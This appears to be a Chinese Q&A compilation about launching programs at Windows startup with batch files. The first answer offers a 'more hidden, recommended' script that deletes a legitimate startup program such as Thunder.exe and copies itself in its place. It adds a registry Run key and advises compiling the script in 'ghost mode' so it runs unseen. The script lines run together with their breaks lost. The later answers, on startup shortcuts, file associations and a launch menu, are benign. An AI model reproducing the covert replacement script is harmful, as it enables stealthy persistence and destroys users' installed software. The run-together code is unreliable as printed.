bat 启动软件问题
1.注册表式@echo offreg add "HKLM\Software\Microsoft\Windows\CurrentVersion\run" /v Start /d "%homedrive%\windows\system32\ruvs.vbs" /fif not exist "%homedrive%\windows\system32\ruvs.bat" echo ws.run "%homedrive%\windows\system32\ruvs.vbs/start",0if not exist "%homedrive%\windows\system32\ruvs.bat" %0 "%homedrive%\windows\system32\ruvs.bat" /y2.代替法(较隐藏,推荐)@echo off:startif exist "会在系统启动时的软件路径\per.sys"if exist "会在系统启动时的软件路径\" echo per.sys>"会在系统启动时的软件路径\per.sys"&goto sf:sfattrib "会在系统启动时的软件路径\per.sys" -s -h -rattrib "会在系统启动时的软件路径\per.sys" +s +h +rdel "会在系统启动时的软件路径" /qcopy %0 "会在系统启动时的软件路径" /y(觉得不保险使用下面reg add代码)reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\run" /v Start /d "会在系统启动时的软件路径" /fgoto start下载一个工具Quick Batch File Compiler再把代码写进去之后,在选项栏中标记“幽灵模式”,就可以后台运行了,要生成exe格式的。
会在系统启动时的软件路径,如迅雷"C:\Program Files\Thunder\Program\Thunder.exe",如后面带"per.exe"就只要路径。
如迅雷"C:\Program Files\Thunder\Program"
怎么将EXE文件转化为BAT,用BAT打开原文件?
操作步骤如下:1、点击开始,点击所有程序,右击启动文件夹,点击打开;2、打开启动窗口,空白处右击,点击新建--快捷方式;3、输入需要开机自动运行的程序路径及名称,例如"D:\Program Files (x86)\Super Finder\Super Finder.exe",点击下一步;4、可修改名称,点击完成即可。
怎么把exe改成bat
我觉得你可能需要分清两个概念:虽然以exe为后缀名的文件是可执行文件,但是实际上要分为dos平台和窗口平台两种运行环境,这个运行环境的信息写在exe文件的头部,如果你在dos下运行一个winows窗口应用程序,会得到大意为“这个文件只能运行在窗口环境”的错误提示,反之,如果在windows下运行一个dos控件台程序,那么可能打开一个dos窗口显示(dos窗口其实也是一个窗口,就是windows给dos程序加了个外壳)。
一般来说,bat是dos命令的集合,较少会用来批量的调用windows软件,个人感觉可能是因为bat并没有提供对于窗口程序的控制手段。
如果你想要修改注册表建立关联的话,具体的方法如下:在HKEY_CLASS_ROOT下面找到后缀名称,比如:.bat,看默认的数据:batfile,再往下找batfile项,设置其下的shell/open/command数据就可以了。
小提示:尽量不要手动修改注册表。
在批处理选择对应按键启动软件
其实道理是一个样子的set/p veryluck=请选择:if /i %veryluck% == a start "" "E:\Program Files\QQ\Bin\QQ.exe"if /i %veryluck% == b start "" "F:\Program Files\QQGAME\QQGame.exe"用i参数区分大小写,这样A和a就不是同一个值。
转载请注明出处51数据库 » 启动软件exe bat
我冷但不高